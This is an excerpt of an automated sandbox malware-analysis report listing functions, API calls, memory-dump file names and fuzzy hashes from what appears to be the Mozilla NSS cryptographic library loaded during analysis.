PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

